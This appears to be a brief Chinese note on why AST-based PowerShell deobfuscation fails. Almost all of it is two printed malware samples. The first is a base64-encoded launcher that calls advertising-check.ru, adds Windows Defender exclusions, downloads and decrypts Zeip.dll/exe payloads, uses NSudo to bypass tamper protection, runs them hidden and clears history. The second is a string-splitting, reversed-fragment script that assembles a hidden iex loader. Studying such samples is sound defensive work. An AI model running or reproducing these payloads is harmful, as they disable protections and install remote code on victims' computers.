内容纲要
1.启动器混淆，找不到AST相应节点
powershell.exe -exec bypass -enc DQAKAHMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADIAMwA1AA0ACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAA0ACgBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBhAGQAdgBlAHIAdABpAHMAaQBuAGcALQBjAGgAZQBjAGsALgByAHUALwBzAHQAYQByAHQALgBwAGgAcAAiACkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnAA0ACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAQwBvAG4AdABpAG4AdQBlACcADQAKAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBgAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAIgAuAGQAbABsACIALAAgACIALgBjAG0AZAAiACwAIAAiAC4AYgBhAHQAIgAsACAAIgAuAHoAaQBwACIALAAgACIALgBlAHgAZQAiAA0ACgANAAoADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGAAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGQAcgBpAHYAZQByAHMAXABlAHQAYwAiACwAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABDAG8AbgBmAGkAZwAiACwAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACIADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGAAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACIAWgBlAGkAcAAuAGQAbABsACIALAAgACIAWgBlAGkAcAAuAGUAeABlACIADQAKAA0ACgANAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAYABxAHUAZQBzAHQAIAAtAFUAcgBpACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AYQBzAHMAbwBwAC8AdABlAHMAdAAvAGQAbwB3AG4AbABvAGEAZABzAC8AWgBlAGkAcAAuAGQAbABsAC4AZwBwAGcAIgApACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABaAGUAaQBwAC4AZABsAGwALgBnAHAAZwANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAYABxAHUAZQBzAHQAIAAtAFUAcgBpACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AYQBzAHMAbwBwAC8AdABlAHMAdAAvAGQAbwB3AG4AbABvAGEAZABzAC8AWgBlAGkAcAAuAGUAeABlAC4AZwBwAGcAIgApACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABaAGUAaQBwAC4AZQB4AGUALgBnAHAAZwANAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAEMAbwBuAHQAaQBuAHUAZQAnAA0ACgANAAoADQAKAHMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAyADQANQANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBgAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBzAHcAYQBnAGsAYQByAG4AYQAvAEIAeQBwAGEAcwBzAC0AVABhAG0AcABlAHIALQBQAHIAbwB0AGUAYwB0AGkAbwBuAC8AbQBhAGkAbgAvAE4AUwB1AGQAbwAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABOAFMAdQBkAG8ALgBlAHgAZQANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBgAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBzAHcAYQBnAGsAYQByAG4AYQAvAEIAeQBwAGEAcwBzAC0AVABhAG0AcABlAHIALQBQAHIAbwB0AGUAYwB0AGkAbwBuAC8AbQBhAGkAbgAvAE4AUwB1AGQAbwAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABOAFMAdQBkAG8ALgBlAHgAZQANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBgAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBzAHcAYQBnAGsAYQByAG4AYQAvAEIAeQBwAGEAcwBzAC0AVABhAG0AcABlAHIALQBQAHIAbwB0AGUAYwB0AGkAbwBuAC8AbQBhAGkAbgAvAE4AUwB1AGQAbwAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABOAFMAdQBkAG8ALgBlAHgAZQANAAoAcwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADIANAA1AA0ACgANAAoAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAJABXAGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAFcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AcABiAGEAdABhAHIAZAAvAHIAdQBmAHUAcwAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvAHYAMwAuADIAMQAvAHIAdQBmAHUAcwAtADMALgAyADEALgBlAHgAZQAiACwAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAcwBlAHQAdQBwAC4AZQB4AGUAIgApAA0ACgANAAoALgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAHMAZQB0AHUAcAAuAGUAeABlAA0ACgANAAoADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AcwB0AGEAbABsAC0ARwBuAHUAUABnACAAewANAAoADQAKACAAIABbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKAApAF0ADQAKAA0ACgAgACAAcABhAHIAYQBtAA0ACgAgACAAKAANAAoADQAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQANAAoAIAAgACAAIABbAFYAYQBsAGkAZABhAHQAZQBOAG8AdABOAHUAbABsAE8AcgBFAG0AcAB0AHkAKAApAF0ADQAKACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQARABvAHcAbgBsAG8AYQBkAEYAbwBsAGQAZQByAFAAYQB0AGgALAANAAoAIAAgACAAIAANAAoAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgAKQBdAA0ACgAgACAAIAAgAFsAVgBhAGwAaQBkAGEAdABlAE4AbwB0AE4AdQBsAGwATwByAEUAbQBwAHQAeQAoACkAXQANAAoAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABEAG8AdwBuAGwAbwBhAGQAVQByAGwAIAA9ACAAJwBoAHQAdABwADoALwAvAGYAaQBsAGUAcwAuAGcAcABnADQAdwBpAG4ALgBvAHIAZwAvAGcAcABnADQAdwBpAG4ALQAyAC4AMgAuADUALgBlAHgAZQAnAA0ACgAgACAAIAAgACAAIAANAAoAIAAgACAAIAApAA0ACgANAAoAIAAgAHAAcgBvAGMAZQBzAHMAIAB7AA0ACgANAAoAIAAgACAAIAB0AHIAeQAgAHsADQAKAA0ACgAgACAAIAAgACAAIAAkAEQAbwB3AG4AbABvAGEAZABGAGkAbABlAFAAYQB0AGgAIAA9ACAAIgAkAEQAbwB3AG4AbABvAGEAZABGAG8AbABkAGUAcgBQAGEAdABoAFwAJAAoACQARABvAHcAbgBsAG8AYQBkAFUAcgBsACAAfAAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAtAEwAZQBhAGYAKQAiAA0ACgAgACAAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQBQAGEAdABoACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBWAGUAcgBiAG8AcwBlACAALQBNAGUAcwBzAGEAZwBlACAAIgBEAG8AdwBuAGwAbwBhAGQAaQBuAGcAIABbACQAKAAkAEQAbwB3AG4AbABvAGEAZABVAHIAbAApAF0AIAB0AG8AIABbACQAKAAkAEQAbwB3AG4AbABvAGEAZABGAGkAbABlAFAAYQB0AGgAKQBdACIADQAKACAAIAAgACAAIAAgACAAIAAkAFcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQADQAKACQAVwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQARABvAHcAbgBsAG8AYQBkAFUAcgBsACwAIAAkAEQAbwB3AG4AbABvAGEAZABGAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBWAGUAcgBiAG8AcwBlACAALQBNAGUAcwBzAGEAZwBlACAAIgBUAGgAZQAgAGQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAIABbACQAKAAkAEQAbwB3AG4AbABvAGEAZABGAGkAbABlAFAAYQB0AGgAKQBdACAAYQBsAHIAZQBhAGQAeQAgAGUAeABpAHMAdABzACIADQAKACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAFYAZQByAGIAbwBzAGUAIAAtAE0AZQBzAHMAYQBnAGUAIAAnAEEAdAB0AGUAbQBwAHQAaQBuAGcAIAB0AG8AIABpAG4AcwB0AGEAbABsACAARwBQAEcANABXAGkAbgAuAC4ALgAnAA0ACgAgACAAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAEQAbwB3AG4AbABvAGEAZABGAGkAbABlAFAAYQB0AGgAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAFMAJwAgAC0ATgBvAE4AZQB3AFcAaQBuAGQAbwB3ACAALQBXAGEAaQB0ACAALQBQAGEAcwBzAFQAaAByAHUADQAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAFYAZQByAGIAbwBzAGUAIAAtAE0AZQBzAHMAYQBnAGUAIAAnAEcAUABHADQAVwBpAG4AIABpAG4AcwB0AGEAbABsAGUAZAAnAA0ACgAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUADQAKACAAIAAgACAAfQANAAoAIAAgAH0ADQAKAH0ADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABBAGQAZAAtAEUAbgBjAHIAeQBwAHQAaQBvAG4AIAB7AA0ACgAgACAADQAKACAAIAANAAoAIAAgAFsAQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAoACkAXQANAAoAIAAgAFsATwB1AHQAcAB1AHQAVAB5AHAAZQAoAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAEkAbgBmAG8AXQApAF0ADQAKACAAIABwAGEAcgBhAG0ADQAKACAAIAAoAA0ACgAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0ADQAKACAAIAAgACAAWwBWAGEAbABpAGQAYQB0AGUATgBvAHQATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAKQBdAA0ACgAgACAAIAAgAFsAVgBhAGwAaQBkAGEAdABlAFMAYwByAGkAcAB0ACgAewBUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAXwAgAC0AUABhAHQAaABUAHkAcABlACAAQwBvAG4AdABhAGkAbgBlAHIAfQApAF0ADQAKACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQARgBvAGwAZABlAHIAUABhAHQAaAAsAA0ACgAgACAADQAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQANAAoAIAAgACAAIABbAFYAYQBsAGkAZABhAHQAZQBOAG8AdABOAHUAbABsAE8AcgBFAG0AcAB0AHkAKAApAF0ADQAKACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAUABhAHMAcwB3AG8AcgBkACwADQAKACAAIAANAAoAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgAKQBdAA0ACgAgACAAIAAgAFsAVgBhAGwAaQBkAGEAdABlAE4AbwB0AE4AdQBsAGwATwByAEUAbQBwAHQAeQAoACkAXQANAAoAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABHAHAAZwBQAGEAdABoACAAPQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEcATgBVAFwARwBuAHUAUABHAFwAZwBwAGcAMgAuAGUAeABlACcADQAKACAAIAAgACAADQAKACAAIAApAA0ACgANAAoADQAKACAAIABwAHIAbwBjAGUAcwBzACAAewANAAoAIAAgACAAIAB0AHIAeQAgAHsADQAKACAAIAAgACAAIAAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEYAbwBsAGQAZQByAFAAYQB0AGgAIAB8ACAAZgBvAHIAZQBhAGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBWAGUAcgBiAG8AcwBlACAALQBNAGUAcwBzAGEAZwBlACAAIgBFAG4AYwByAHkAcAB0AGkAbgBnACAAWwAkACgAJABfAC4ARgB1AGwAbABOAGEAbQBlACkAXQAiAA0ACgAgACAAIAAgACAAIAAgACAAJgAgACQARwBwAGcAUABhAHQAaAAgAC0ALQBiAGEAdABjAGgAIAAtAC0AcABhAHMAcwBwAGgAcgBhAHMAZQAgACQAUABhAHMAcwB3AG8AcgBkACAALQBjACAAJABfAC4ARgB1AGwAbABOAGEAbQBlAA0ACgAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJABGAG8AbABkAGUAcgBQAGEAdABoACAALQBGAGkAbAB0AGUAcgAgACcAKgAuAGcAcABnACcADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEUAcgByAG8AcgAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAfQANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAFIAZQBtAG8AdgBlAC0ARQBuAGMAcgB5AHAAdABpAG8AbgAgAHsADQAKACAAIAANAAoAIAAgAFsAQwBtAGQAbABlAHQAQgBpAG4AZABpAG4AZwAoACkAXQANAAoAIAAgAHAAYQByAGEAbQANAAoAIAAgACgADQAKACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQANAAoAIAAgACAAIABbAFYAYQBsAGkAZABhAHQAZQBOAG8AdABOAHUAbABsAE8AcgBFAG0AcAB0AHkAKAApAF0ADQAKACAAIAAgACAAWwBWAGEAbABpAGQAYQB0AGUAUwBjAHIAaQBwAHQAKAB7ACAAVABlAHMAdAAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAF8AIAAtAFAAYQB0AGgAVAB5AHAAZQAgAEMAbwBuAHQAYQBpAG4AZQByACAAfQApAF0ADQAKACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQARgBvAGwAZABlAHIAUABhAHQAaAAsAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0ADQAKACAAIAAgACAAWwBWAGEAbABpAGQAYQB0AGUATgBvAHQATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAKQBdAA0ACgAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAFAAYQBzAHMAdwBvAHIAZAAsAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKAApAF0ADQAKACAAIAAgACAAWwBWAGEAbABpAGQAYQB0AGUATgBvAHQATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAKQBdAA0ACgAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAEcAcABnAFAAYQB0AGgAIAA9ACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACAAKAB4ADgANgApAFwARwBOAFUAXABHAG4AdQBQAEcAXABnAHAAZwAyAC4AZQB4AGUAJwANAAoAIAAgACkADQAKACAAIABwAHIAbwBjAGUAcwBzACAAewANAAoAIAAgACAAIAB0AHIAeQAgAHsADQAKACAAIAAgACAAIAAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEYAbwBsAGQAZQByAFAAYQB0AGgAIAAtAEYAaQBsAHQAZQByACAAJwAqAC4AZwBwAGcAJwAgAHwAIABmAG8AcgBlAGEAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABlAGMAcgB5AHAAdABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABfAC4ARgB1AGwAbABOAGEAbQBlAC4AVAByAGkAbQBFAG4AZAAoACcALgBnAHAAZwAnACkADQAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBWAGUAcgBiAG8AcwBlACAALQBNAGUAcwBzAGEAZwBlACAAIgBEAGUAYwByAHkAcAB0AGkAbgBnACAAWwAkACgAJABfAC4ARgB1AGwAbABOAGEAbQBlACkAXQAgAHQAbwAgAFsAJAAoACQAZABlAGMAcgB5AHAAdABGAGkAbABlAFAAYQB0AGgAKQBdACIADQAKACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABQAHIAbwBjAFAAYQByAGEAbQBzACAAPQAgAEAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAnAEYAaQBsAGUAUABhAHQAaAAnACAAIAAgACAAIAA9ACAAJABHAHAAZwBQAGEAdABoAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACcAQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAJwAgAD0AIAAiAC0ALQBiAGEAdABjAGgAIAAtAC0AeQBlAHMAIAAtAC0AcABhAHMAcwBwAGgAcgBhAHMAZQAgACQAUABhAHMAcwB3AG8AcgBkACAALQBvACAAJABkAGUAYwByAHkAcAB0AEYAaQBsAGUAUABhAHQAaAAgAC0AZAAgACQAKAAkAF8ALgBGAHUAbABsAE4AYQBtAGUAKQAiACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAJwBXAGEAaQB0ACcAIAAgACAAIAAgACAAIAAgACAAPQAgACQAdAByAHUAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAnAE4AbwBOAGUAdwBXAGkAbgBkAG8AdwAnACAAIAA9ACAAJAB0AHIAdQBlAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAQABzAHQAYQByAHQAUAByAG8AYwBQAGEAcgBhAG0AcwANAAoAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARgBvAGwAZABlAHIAUABhAHQAaAAgAHwAIAB3AGgAZQByAGUAIAB7ACQAXwAuAEUAeAB0AGUAbgBzAGkAbwBuACAALQBuAGUAIAAnAGcAcABnACcAfQANAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAVwByAGkAdABlAC0ARQByAHIAbwByACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAB9AA0ACgB9AA0ACgANAAoADQAKAA0ACgBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABVAFIATAANAAoADQAKACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAA0ACgBJAG4AcwB0AGEAbABsAC0ARwBuAHUAUABHACAALQBEAG8AdwBuAGwAbwBhAGQARgBvAGwAZABlAHIAUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAA0ACgANAAoADQAKAFIAZQBtAG8AdgBlAC0ARQBuAGMAcgB5AHAAdABpAG8AbgAgAC0ARgBvAGwAZABlAHIAUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBQAGEAcwBzAHcAbwByAGQAIAAnAHAAdQB0AGkAbgBnAG8AZAAnAA0ACgANAAoADQAKAA0ACgAuACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwATgBzAHUAZABvAC4AZQB4AGUAIAAtAFUAOgBQACAALQBTAGgAbwB3AFcAaQBuAGQAbwB3AE0AbwBkAGUAOgBIAGkAZABlACAAYwBtAGQAIAAvAGMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAGMAbwBtAG0AYQBuAGQAIAAiAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAWgBlAGkAcAAuAGQAbABsACwAIABEAGwAbABSAGUAZwBpAHMAdABlAHIAUwBlAHIAdgBlAHIAOwAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAWgBlAGkAcAAuAGUAeABlACIADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAGAAcQB1AGUAcwB0ACAALQBVAHIAaQAgACgAJwBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAYQBkAHYAZQByAHQAaQBzAGkAbgBnAC0AYwBoAGUAYwBrAC4AcgB1AC8AaQBuAHMAdABhAGwAbAAuAHAAaABwACcAKQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcADQAKAEMAbABlAGEAcgAtAEgAaQBzAHQAbwByAHkAIAANAAoADQAKAA==2.不断地使用变量存储复杂字符串，
最后执行时CommandExpressionAST混入了变量，由于抽象语法树解析子树时，该变量尚未储存，因此解混淆失败
$o9pxyaueq="si`'+`'InitFailed`', `'NonPublic,Static"
$kqis635=$6ia17ksrobf+$o9pxyaueq
"`').SetValue(`$null, `$true)`n}`n`nif (`$psversiontable.PSVersion.Major -eq 2){`$psFile = `$MyInvocation.MyCommand.Definition}`n","if ([IntPtr]::Size" | % {$4ofcnxh8+=$_}
$494i="0z5ylwzf2wx -eq 8) {`n `$ps86 = `"`$(`$env:SystemRoot)\SysWOW64\WindowsPowerShell\v1.0\poq4noitc1og"
if ($494i -match "(?ms)^0z5ylwzf2wx(.+)q4noitc1og$")
{$494i=$Matches[1]} else {$494i="$^0z5ylwzf2wx(.+)q4noitc1og$"}
$trwa1x="r1lajjwq1twershell.exe`"`n `$ps86Args = @(`'-ex bypass`', `'-nonI`', `$b1jvavob1"
if ($trwa1x -match "(?ms)^r1lajjwq1t(.+)b1jvavob1$")
{$trwa1x=$Matches[1]} else {$trwa1x="$^r1lajjwq1t(.+)b1jvavob1$"}
$8xs7="zpbtpsFile)`n if31c"
if ($8xs7 -match "(?ms)^zpbt(.+)31c$")
{$8xs7=$Matches[1]} else {$8xs7="$^zpbt(.+)31c$"}
$e2vg=($kqis635,$4ofcnxh8,$494i,$trwa1x,$8xs7) -join ''
" (`$argument){`$ps86Args += `$argument}`n Start-Process"," `$ps86 `$ps86Args -Window hidden`n exit`n}`nfunctio" | % {$nkbrkl3+=$_}
"n fnD([Int64[]] `$ints) {`n `$wSize = 8`n [byte[]]`$dB = New-Object byte[](`$i","nts.Len" | % {$lsuu4j+=$_}
$a86418mgh8="90m1jgthidfrx"
if ($a86418mgh8 -match "(?ms)^90m1j(.+)idfrx$")
{$a86418mgh8=$Matches[1]} else {$a86418mgh8="$^90m1j(.+)idfrx$"}
$fqtld=$819okzix+$e2vg+$nkbrkl3+$lsuu4j+$a86418mgh8
$asr="fyjs4hhei91 * `$wSize)`n for (`$i = 0; `$i -lt `$ints.Count; `$i += 1) {`n for (`$j = 0; `$j -oysrf10i"
if ($asr -match "(?ms)^fyjs4hhei91(.+)oysrf10i$")
{$asr=$Matches[1]} else {$asr="$^fyjs4hhei91(.+)oysrf10i$"}
"lt `$wSize; `$j += 1) {`n `$dB[`$i * `$wSize + `$j] = (`$in","ts[`$i] -band 0x7F)`n `$ints[`$i] = (`$ints[`$i] - ","`$dB[`$i * `$wSize + `$j]) / 0x80`n " | % {$da5qredxk+=$_}
$iz1=" }`n }`n return [Text.Encoding]::ASCII.GetString(`$dB)`n"
foreach ($actg9c5cp in @("`$ tl- i`$ ;0 = i`$( rof`n)htgneL.atad`$(][gnirtS tcejbO-weN = bcs`$`n`'`' = c`$`n`n`n}")) { $kgu+=$actg9c5cp[-1..-$actg9c5cp.Length] -join '' }
$lbyddhq="data.Length; `$i += 1) {`n `$scb[`$i] = (fnD `$data[`$i])`n `$c += `"iex ```$scb[`$i]"
foreach ($42dis5j7hp in @("P.elbatnoisrevsp`$( fi`n}`n`";eunitnoCyltneliS ae- ")) { $a7rn5+=$42dis5j7hp[-1..-$42dis5j7hp.Length] -join '' }
if ($aw4ja.Length -eq "1873") {
$amzsukn3hjk+=$aw4ja
$amzsukn3hjk+=$fqtld
$amzsukn3hjk+=$asr
$amzsukn3hjk+=$da5qredxk
$amzsukn3hjk+=$iz1
$amzsukn3hjk+=$kgu
$amzsukn3hjk+=$lbyddhq
$amzsukn3hjk+=$a7rn5
}
$1rb0="k8jpmomSVersion.Major -eq 2) { `n iex `$c -ea SilentlyContinue -OutVariable jOutput -Errorc9es90"
if ($1rb0 -match "(?ms)^k8jpmom(.+)c9es90$")
{$1rb0=$Matches[1]} else {$1rb0="$^k8jpmom(.+)c9es90$"}
foreach ($tfbeag in @("orrE- tuptuOj elbairaVtuO- eunitnoCyltneliS ae- c`$ xei `n{ esle }`nlluN-tuO | llun`$ >2 srorrEj elbairaV")) { $hxyj7w+=$tfbeag[-1..-$tfbeag.Length] -join '' }
$5c2zz="rVariable jErrors 2> `$null 1> `$null`n}`n"
